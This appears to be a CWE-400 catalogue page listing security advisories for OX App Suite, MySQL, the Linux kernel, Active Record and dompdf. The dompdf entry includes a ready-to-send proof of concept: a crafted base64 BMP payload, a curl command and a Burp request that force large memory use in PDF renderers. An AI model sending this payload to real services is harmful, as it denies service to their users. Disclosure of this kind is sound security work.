Common Weakness Enumeration

CWE-400

Discouraged

Uncontrolled Resource Consumption

Abstraction: Class · Status: Draft

API response cwe.mitre.org

The product does not properly control the allocation and maintenance of a limited resource.

6312 vulnerabilities reference this CWE, most recent first.

GHSA-8H49-W326-P6W9

Vulnerability from github – Published: 2022-12-26 03:30 – Updated: 2023-01-04 03:30
VLAI
Details

OX App Suite through 7.10.6 has Uncontrolled Resource Consumption via a large location request parameter to the redirect servlet.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-37311"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1284",
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-12-26T02:15:00Z",
    "severity": "MODERATE"
  },
  "details": "OX App Suite through 7.10.6 has Uncontrolled Resource Consumption via a large location request parameter to the redirect servlet.",
  "id": "GHSA-8h49-w326-p6w9",
  "modified": "2023-01-04T03:30:32Z",
  "published": "2022-12-26T03:30:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-37311"
    },
    {
      "type": "WEB",
      "url": "https://open-xchange.com"
    },
    {
      "type": "WEB",
      "url": "https://seclists.org/fulldisclosure/2022/Nov/18"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8H6G-4G7P-297M

Vulnerability from github – Published: 2025-07-15 21:31 – Updated: 2025-07-15 21:31
VLAI
Details

Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 8.0.0-8.0.42, 8.4.0-8.4.5 and 9.0.0-9.3.0. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).

Severity
4.9 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-50079"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-15T20:15:43Z",
    "severity": "MODERATE"
  },
  "details": "Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer).  Supported versions that are affected are 8.0.0-8.0.42, 8.4.0-8.4.5 and  9.0.0-9.3.0. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).",
  "id": "GHSA-8h6g-4g7p-297m",
  "modified": "2025-07-15T21:31:41Z",
  "published": "2025-07-15T21:31:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-50079"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujul2025.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8H6J-VXPR-4FF5

Vulnerability from github – Published: 2024-02-27 21:31 – Updated: 2024-04-10 21:30
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

tracing: Restructure trace_clock_global() to never block

It was reported that a fix to the ring buffer recursion detection would cause a hung machine when performing suspend / resume testing. The following backtrace was extracted from debugging that case:

Call Trace: trace_clock_global+0x91/0xa0 __rb_reserve_next+0x237/0x460 ring_buffer_lock_reserve+0x12a/0x3f0 trace_buffer_lock_reserve+0x10/0x50 __trace_graph_return+0x1f/0x80 trace_graph_return+0xb7/0xf0 ? trace_clock_global+0x91/0xa0 ftrace_return_to_handler+0x8b/0xf0 ? pv_hash+0xa0/0xa0 return_to_handler+0x15/0x30 ? ftrace_graph_caller+0xa0/0xa0 ? trace_clock_global+0x91/0xa0 ? __rb_reserve_next+0x237/0x460 ? ring_buffer_lock_reserve+0x12a/0x3f0 ? trace_event_buffer_lock_reserve+0x3c/0x120 ? trace_event_buffer_reserve+0x6b/0xc0 ? trace_event_raw_event_device_pm_callback_start+0x125/0x2d0 ? dpm_run_callback+0x3b/0xc0 ? pm_ops_is_empty+0x50/0x50 ? platform_get_irq_byname_optional+0x90/0x90 ? trace_device_pm_callback_start+0x82/0xd0 ? dpm_run_callback+0x49/0xc0

With the following RIP:

RIP: 0010:native_queued_spin_lock_slowpath+0x69/0x200

Since the fix to the recursion detection would allow a single recursion to happen while tracing, this lead to the trace_clock_global() taking a spin lock and then trying to take it again:

ring_buffer_lock_reserve() { trace_clock_global() { arch_spin_lock() { queued_spin_lock_slowpath() { / lock taken / (something else gets traced by function graph tracer) ring_buffer_lock_reserve() { trace_clock_global() { arch_spin_lock() { queued_spin_lock_slowpath() { / DEAD LOCK! /

Tracing should never block, as it can lead to strange lockups like the above.

Restructure the trace_clock_global() code to instead of simply taking a lock to update the recorded "prev_time" simply use it, as two events happening on two different CPUs that calls this at the same time, really doesn't matter which one goes first. Use a trylock to grab the lock for updating the prev_time, and if it fails, simply try again the next time. If it failed to be taken, that means something else is already updating it.

Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=212761

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-46939"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-662"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-02-27T19:04:05Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\ntracing: Restructure trace_clock_global() to never block\n\nIt was reported that a fix to the ring buffer recursion detection would\ncause a hung machine when performing suspend / resume testing. The\nfollowing backtrace was extracted from debugging that case:\n\nCall Trace:\n trace_clock_global+0x91/0xa0\n __rb_reserve_next+0x237/0x460\n ring_buffer_lock_reserve+0x12a/0x3f0\n trace_buffer_lock_reserve+0x10/0x50\n __trace_graph_return+0x1f/0x80\n trace_graph_return+0xb7/0xf0\n ? trace_clock_global+0x91/0xa0\n ftrace_return_to_handler+0x8b/0xf0\n ? pv_hash+0xa0/0xa0\n return_to_handler+0x15/0x30\n ? ftrace_graph_caller+0xa0/0xa0\n ? trace_clock_global+0x91/0xa0\n ? __rb_reserve_next+0x237/0x460\n ? ring_buffer_lock_reserve+0x12a/0x3f0\n ? trace_event_buffer_lock_reserve+0x3c/0x120\n ? trace_event_buffer_reserve+0x6b/0xc0\n ? trace_event_raw_event_device_pm_callback_start+0x125/0x2d0\n ? dpm_run_callback+0x3b/0xc0\n ? pm_ops_is_empty+0x50/0x50\n ? platform_get_irq_byname_optional+0x90/0x90\n ? trace_device_pm_callback_start+0x82/0xd0\n ? dpm_run_callback+0x49/0xc0\n\nWith the following RIP:\n\nRIP: 0010:native_queued_spin_lock_slowpath+0x69/0x200\n\nSince the fix to the recursion detection would allow a single recursion to\nhappen while tracing, this lead to the trace_clock_global() taking a spin\nlock and then trying to take it again:\n\nring_buffer_lock_reserve() {\n  trace_clock_global() {\n    arch_spin_lock() {\n      queued_spin_lock_slowpath() {\n        /* lock taken */\n        (something else gets traced by function graph tracer)\n          ring_buffer_lock_reserve() {\n            trace_clock_global() {\n              arch_spin_lock() {\n                queued_spin_lock_slowpath() {\n                /* DEAD LOCK! */\n\nTracing should *never* block, as it can lead to strange lockups like the\nabove.\n\nRestructure the trace_clock_global() code to instead of simply taking a\nlock to update the recorded \"prev_time\" simply use it, as two events\nhappening on two different CPUs that calls this at the same time, really\ndoesn\u0027t matter which one goes first. Use a trylock to grab the lock for\nupdating the prev_time, and if it fails, simply try again the next time.\nIf it failed to be taken, that means something else is already updating\nit.\n\n\nBugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=212761",
  "id": "GHSA-8h6j-vxpr-4ff5",
  "modified": "2024-04-10T21:30:28Z",
  "published": "2024-02-27T21:31:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-46939"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/1fca00920327be96f3318224f502e4d5460f9545"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/2a1bd74b8186d7938bf004f5603f25b84785f63e"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/6e2418576228eeb12e7ba82edb8f9500623942ff"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/859b47a43f5a0e5b9a92b621dc6ceaad39fb5c8b"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/91ca6f6a91f679c8645d7f3307e03ce86ad518c4"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/a33614d52e97fc8077eb0b292189ca7d964cc534"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/aafe104aa9096827a429bc1358f8260ee565b7cc"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/c64da3294a7d59a4bf6874c664c13be892f15f44"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/d43d56dbf452ccecc1ec735cd4b6840118005d7c"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8HC4-XXM3-5PPP

Vulnerability from github – Published: 2021-03-02 03:44 – Updated: 2023-07-03 22:08
VLAI
Summary
Active Record subject to Regular Expression Denial-of-Service (ReDoS)
Details

The PostgreSQL adapter in Active Record before 6.1.2.1, 6.0.3.5, 5.2.4.5 suffers from a regular expression denial of service (REDoS) vulnerability. Carefully crafted input can cause the input validation in the money type of the PostgreSQL adapter in Active Record to spend too much time in a regular expression, resulting in the potential for a DoS attack. This only impacts Rails applications that are using PostgreSQL along with money type columns that take user input.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.2.4.4"
      },
      "package": {
        "ecosystem": "RubyGems",
        "name": "activerecord"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.2.4.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.0.3.4"
      },
      "package": {
        "ecosystem": "RubyGems",
        "name": "activerecord"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.0"
            },
            {
              "fixed": "6.0.3.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.1.2.0"
      },
      "package": {
        "ecosystem": "RubyGems",
        "name": "activerecord"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.1.0"
            },
            {
              "fixed": "6.1.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-22880"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-03-02T03:40:01Z",
    "nvd_published_at": "2021-02-11T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "The PostgreSQL adapter in Active Record before 6.1.2.1, 6.0.3.5, 5.2.4.5 suffers from a regular expression denial of service (REDoS) vulnerability. Carefully crafted input can cause the input validation in the `money` type of the PostgreSQL adapter in Active Record to spend too much time in a regular expression, resulting in the potential for a DoS attack. This only impacts Rails applications that are using PostgreSQL along with money type columns that take user input.",
  "id": "GHSA-8hc4-xxm3-5ppp",
  "modified": "2023-07-03T22:08:31Z",
  "published": "2021-03-02T03:44:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22880"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/1023899"
    },
    {
      "type": "WEB",
      "url": "https://discuss.rubyonrails.org/t/cve-2021-22880-possible-dos-vulnerability-in-active-record-postgresql-adapter/77129"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rails/rails"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/activerecord/CVE-2021-22880.yml"
    },
    {
      "type": "WEB",
      "url": "https://groups.google.com/g/rubyonrails-security/c/ZzUqCh9vyhI"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MO5OJ3F4ZL3UXVLJO6ECANRVZBNRS2IH"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/XQ3NS4IBYE2I3MVMGAHFZBZBIZGHXHT3"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20210805-0009"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2021/dsa-4929"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Active Record subject to Regular Expression Denial-of-Service (ReDoS)"
}

GHSA-8HFR-PCM2-774V

Vulnerability from github – Published: 2026-04-21 21:31 – Updated: 2026-04-21 21:31
VLAI
Details

Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Group Replication Plugin). Supported versions that are affected are 8.0.0-8.0.45, 8.4.0-8.4.8 and 9.0.0-9.6.0. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 6.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-34271"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-21T21:16:30Z",
    "severity": "MODERATE"
  },
  "details": "Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Group Replication Plugin).  Supported versions that are affected are 8.0.0-8.0.45, 8.4.0-8.4.8 and  9.0.0-9.6.0. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise MySQL Server.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 6.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).",
  "id": "GHSA-8hfr-pcm2-774v",
  "modified": "2026-04-21T21:31:25Z",
  "published": "2026-04-21T21:31:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34271"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuapr2026.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8HG6-C449-896M

Vulnerability from github – Published: 2026-07-22 22:50 – Updated: 2026-07-22 22:50
VLAI
Summary
Dompdf: Uncontrolled resource consumption based on declared BMP dimensions
Details

Summary

dompdf accepts a BMP image and generates a PDF-compatible PNG based only on its declared header dimensions and never bounds width × height before the image is converted through GD. A 58-byte BMP whose header declares e.g. 6000×6000 is accepted and later drives imagecreatetruecolor($width, $height) (and PHP's native BMP decoder) to allocate the full pixel canvas.

A payload can fit in a single HTTP request: the BMP can be inlined as a data:image/bmp;base64,… URI inside attacker-controlled HTML, so no upload, no remote fetch, and no chroot-reachable file is required. It was demonstrated that a 169-byte request drove dompdf to render to ~412 MB peak RSS and ~4.8 s of CPU/wall time, versus ~34 MB for an identically-sized benign request — roughly a 12× memory amplification per request, repeatable and unauthenticated.

Details

Root cause

The image is processed based on declared dimensions and type alone — no pixel budget:

// src/Image/Cache.php:131-134
list($width, $height, $type) = Helpers::dompdf_getimagesize($resolved_url, $options->getHttpContext());
if (($width && $height && in_array($type, ["gif","png","jpeg","bmp","svg","webp"], true)) === false) {
    throw new ImageException("Image type unknown", E_WARNING);
}

For BMPs that getimagesize() does not fully parse, dompdf trusts the raw header fields:

// src/Helpers.php:833-837
if (substr($data, 0, 2) === "BM") {
    $meta = unpack("vtype/Vfilesize/Vreserved/Voffset/Vheadersize/Vwidth/Vheight", $data);
    $width  = (int) $meta["width"];
    $height = (int) $meta["height"];
    $type   = "bmp";
}

At conversion time the canvas is allocated from those declared dimensions, before any check that enough pixel data exists:

// src/Helpers.php:868-869  — native decoder is tried FIRST on PHP >= 7.2
if (function_exists("imagecreatefrombmp") && ($im = imagecreatefrombmp($filename)) !== false) {
    return $im;
}
// src/Helpers.php:940  — hand-rolled fallback
$im = imagecreatetruecolor($meta['width'], $meta['height']);

There is no maximum width/height or maximum total-pixel guard anywhere on this path.

Source-to-sink

  1. Attacker HTML reaches Dompdf::loadHtml() with <img src="data:image/bmp;base64,…"> (or any BMP src).
  2. Dompdf::render() decorates frames; Frame\Factory marks <img> as an image; FrameDecorator\Image calls Image\Cache::resolve_url().
  3. Image\Cache::resolve_url() accepts the BMP on declared dimensions/type (src/Image/Cache.php:131-134).
  4. During render, Adapter\CPDF::image() identifies the BMP and calls _convert_to_png() (src/Adapter/CPDF.php:593).
  5. _convert_to_png() invokes Helpers::imagecreatefrombmp(), which allocates the full canvas — via the native imagecreatefrombmp() on PHP ≥ 7.2, or the hand-rolled imagecreatetruecolor() fallback otherwise.

PoC

erified against dompdf @ a6ddc4f on PHP 8.3.6 with GD enabled.

The crafted BMP is 58 bytes: a 14-byte file header + 40-byte BITMAPINFOHEADER declaring the target width/height at 24bpp + 4 padding bytes. Inlined as a data URI, the full attacker payload is 169 bytes:

<html><body><img src="data:image/bmp;base64,Qk06AAAAAAAAADYAAAAoAAAAcBcAAHAXAAABABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" style="width:1px;height:1px"></body></html>

(The base64 above decodes to a 58-byte BMP declaring 6000×6000. The CSS width:1px;height:1px does not help the defender — the intrinsic decode happens regardless.)

1 — Direct conversion

native imagecreatefrombmp exists: yes
dompdf_getimagesize  => 6000x6000 type=bmp
imagecreatefrombmp   => GdImage 6000x6000   (allocated from a 58-byte file)
Maximum resident set size: 160 MB        (10x10 control: 24 MB)
php_peak (PHP-managed): 0.8 MB           <-- GD memory is native; PHP memory_limit does NOT cap it

The PHP-managed peak is under 1 MB while RSS is 160 MB: the canvas lives in GD's native allocator, so memory_limit does not bound it.

2 — Full Dompdf::render()

declared 6000x6000  payload 169 bytes  render 5.8 s  RSS ~417 MB  output 106 KB
declared 10x10      payload 169 bytes  render 0.01 s RSS  ~30 MB   output 1.4 KB

3 — HTTP reproduction (curl / Burp)

Reproduced against a minimal PDF endpoint (server.php, included) that simply renders posted HTML — the shape of any invoice/report/HTML-to-PDF service. The endpoint sets isRemoteEnabled=false; the attack still works because data: URIs are an allowed protocol by default and need no remote fetch.

curl:

curl -s -X POST "https://TARGET/render" \
  --data-binary '<html><body><img src="data:image/bmp;base64,Qk06AAAAAAAAADYAAAAoAAAAcBcAAHAXAAABABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" style="width:1px;height:1px"></body></html>' \
  -o /dev/null -w 'http=%{http_code} time=%{time_total}s\n'

Burp Repeater (enable "Update Content-Length"):

POST /render HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: text/html
Connection: close

<html><body><img src="data:image/bmp;base64,Qk06AAAAAAAAADYAAAAoAAAAcBcAAHAXAAABABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" style="width:1px;height:1px"></body></html>

Observed (peak RSS read from the worker's /proc/<pid>/status VmHWM, each on a fresh worker so the high-water mark is per-request):

[ATTACK ] declared 6000x6000  request=169 B  -> 200 application/pdf  output=106397 B  server peak RSS ~412 MB  wall 4.8 s
[CONTROL] declared 10x10      request=169 B  -> 200 application/pdf  output=1407 B    server peak RSS ~34 MB   wall <0.1 s

Two identically sized 169-byte requests; the only difference is the dimensions declared inside the 58-byte BMP. The attack request costs ~378 MB extra native memory and ~5 s CPU. The cost scales with declared width × height, bounded only by the 32-bit header fields and the host's available memory (the process is OOM-killed before the theoretical maximum).

Impact

A single unauthenticated 169-byte request forces ~400 MB of native allocation and several seconds of CPU in the rendering worker. PDF rendering is typically done by a small pool of PHP-FPM or queue workers; a handful of concurrent requests exhausts that pool's memory and stalls or OOM-kills workers, denying service to legitimate users. Because the heavy allocation is in GD's native allocator, a per-request memory_limit does not contain it.

Caveat: this is a resource-exhaustion (DoS) primitive, not data disclosure or code execution. Some deployments already sandbox dompdf behind render timeouts, worker memory caps (cgroups), or job isolation — those reduce real-world impact. However, the specific GD implementation on a system may not be constrained by PHP limits, allowing system-level resource consumption beyond those allocated to PHP.

Severity
6.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "dompdf/dompdf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59941"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-22T22:50:34Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\ndompdf accepts a BMP image and generates a PDF-compatible PNG based only on its *declared* header dimensions and never bounds width \u00d7 height before the image is converted through GD. A 58-byte BMP whose header declares e.g. `6000\u00d76000` is accepted and later drives `imagecreatetruecolor($width, $height)` (and PHP\u0027s native BMP decoder) to allocate the full pixel canvas.\n \nA payload can fit in a single HTTP request: the BMP can be inlined as a `data:image/bmp;base64,\u2026` URI inside attacker-controlled HTML, so no upload, no remote fetch, and no chroot-reachable file is required. It was demonstrated that a **169-byte** request drove dompdf to render to **~412 MB peak RSS and ~4.8 s** of CPU/wall time, versus ~34 MB for an identically-sized benign request \u2014 roughly a 12\u00d7 memory amplification per request, repeatable and unauthenticated.\n\n\n### Details\n## Root cause\n \nThe image is processed based on declared dimensions and type alone \u2014 no pixel budget:\n \n```php\n// src/Image/Cache.php:131-134\nlist($width, $height, $type) = Helpers::dompdf_getimagesize($resolved_url, $options-\u003egetHttpContext());\nif (($width \u0026\u0026 $height \u0026\u0026 in_array($type, [\"gif\",\"png\",\"jpeg\",\"bmp\",\"svg\",\"webp\"], true)) === false) {\n    throw new ImageException(\"Image type unknown\", E_WARNING);\n}\n```\n \nFor BMPs that `getimagesize()` does not fully parse, dompdf trusts the raw header fields:\n \n```php\n// src/Helpers.php:833-837\nif (substr($data, 0, 2) === \"BM\") {\n    $meta = unpack(\"vtype/Vfilesize/Vreserved/Voffset/Vheadersize/Vwidth/Vheight\", $data);\n    $width  = (int) $meta[\"width\"];\n    $height = (int) $meta[\"height\"];\n    $type   = \"bmp\";\n}\n```\n \nAt conversion time the canvas is allocated from those declared dimensions, before any check that enough pixel data exists:\n \n```php\n// src/Helpers.php:868-869  \u2014 native decoder is tried FIRST on PHP \u003e= 7.2\nif (function_exists(\"imagecreatefrombmp\") \u0026\u0026 ($im = imagecreatefrombmp($filename)) !== false) {\n    return $im;\n}\n// src/Helpers.php:940  \u2014 hand-rolled fallback\n$im = imagecreatetruecolor($meta[\u0027width\u0027], $meta[\u0027height\u0027]);\n```\n \nThere is no maximum width/height or maximum total-pixel guard anywhere on this path.\n \n## Source-to-sink\n \n1. Attacker HTML reaches `Dompdf::loadHtml()` with `\u003cimg src=\"data:image/bmp;base64,\u2026\"\u003e` (or any BMP `src`).\n2. `Dompdf::render()` decorates frames; `Frame\\Factory` marks `\u003cimg\u003e` as an image; `FrameDecorator\\Image` calls `Image\\Cache::resolve_url()`.\n3. `Image\\Cache::resolve_url()` accepts the BMP on declared dimensions/type (`src/Image/Cache.php:131-134`).\n4. During render, `Adapter\\CPDF::image()` identifies the BMP and calls `_convert_to_png()` (`src/Adapter/CPDF.php:593`).\n5. `_convert_to_png()` invokes `Helpers::imagecreatefrombmp()`, which allocates the full canvas \u2014 via the native `imagecreatefrombmp()` on PHP \u2265 7.2, or the hand-rolled `imagecreatetruecolor()` fallback otherwise.\n\n### PoC\nerified against dompdf @ `a6ddc4f` on PHP 8.3.6 with GD enabled.\n \nThe crafted BMP is 58 bytes: a 14-byte file header + 40-byte `BITMAPINFOHEADER` declaring the target width/height at 24bpp + 4 padding bytes. Inlined as a data URI, the full attacker payload is 169 bytes:\n \n```\n\u003chtml\u003e\u003cbody\u003e\u003cimg src=\"data:image/bmp;base64,Qk06AAAAAAAAADYAAAAoAAAAcBcAAHAXAAABABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==\" style=\"width:1px;height:1px\"\u003e\u003c/body\u003e\u003c/html\u003e\n```\n \n(The base64 above decodes to a 58-byte BMP declaring `6000\u00d76000`. The CSS `width:1px;height:1px` does not help the defender \u2014 the intrinsic decode happens regardless.)\n \n### 1 \u2014 Direct conversion\n \n```\nnative imagecreatefrombmp exists: yes\ndompdf_getimagesize  =\u003e 6000x6000 type=bmp\nimagecreatefrombmp   =\u003e GdImage 6000x6000   (allocated from a 58-byte file)\nMaximum resident set size: 160 MB        (10x10 control: 24 MB)\nphp_peak (PHP-managed): 0.8 MB           \u003c-- GD memory is native; PHP memory_limit does NOT cap it\n```\n \nThe PHP-managed peak is under 1 MB while RSS is 160 MB: the canvas lives in GD\u0027s native allocator, so `memory_limit` does not bound it.\n \n### 2 \u2014 Full `Dompdf::render()`\n \n```\ndeclared 6000x6000  payload 169 bytes  render 5.8 s  RSS ~417 MB  output 106 KB\ndeclared 10x10      payload 169 bytes  render 0.01 s RSS  ~30 MB   output 1.4 KB\n```\n \n### 3 \u2014 HTTP reproduction (curl / Burp)\n \nReproduced against a minimal PDF endpoint (`server.php`, included) that simply renders posted HTML \u2014 the shape of any invoice/report/HTML-to-PDF service. The endpoint sets `isRemoteEnabled=false`; the attack still works because `data:` URIs are an allowed protocol by default and need no remote fetch.\n \ncurl:\n```bash\ncurl -s -X POST \"https://TARGET/render\" \\\n  --data-binary \u0027\u003chtml\u003e\u003cbody\u003e\u003cimg src=\"data:image/bmp;base64,Qk06AAAAAAAAADYAAAAoAAAAcBcAAHAXAAABABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==\" style=\"width:1px;height:1px\"\u003e\u003c/body\u003e\u003c/html\u003e\u0027 \\\n  -o /dev/null -w \u0027http=%{http_code} time=%{time_total}s\\n\u0027\n```\n \nBurp Repeater (enable \"Update Content-Length\"):\n```\nPOST /render HTTP/1.1\nHost: TARGET\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nContent-Type: text/html\nConnection: close\n \n\u003chtml\u003e\u003cbody\u003e\u003cimg src=\"data:image/bmp;base64,Qk06AAAAAAAAADYAAAAoAAAAcBcAAHAXAAABABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==\" style=\"width:1px;height:1px\"\u003e\u003c/body\u003e\u003c/html\u003e\n```\n \nObserved (peak RSS read from the worker\u0027s `/proc/\u003cpid\u003e/status` `VmHWM`, each on a fresh worker so the high-water mark is per-request):\n \n```\n[ATTACK ] declared 6000x6000  request=169 B  -\u003e 200 application/pdf  output=106397 B  server peak RSS ~412 MB  wall 4.8 s\n[CONTROL] declared 10x10      request=169 B  -\u003e 200 application/pdf  output=1407 B    server peak RSS ~34 MB   wall \u003c0.1 s\n```\n \nTwo identically sized 169-byte requests; the only difference is the dimensions declared inside the 58-byte BMP. The attack request costs ~378 MB extra native memory and ~5 s CPU. The 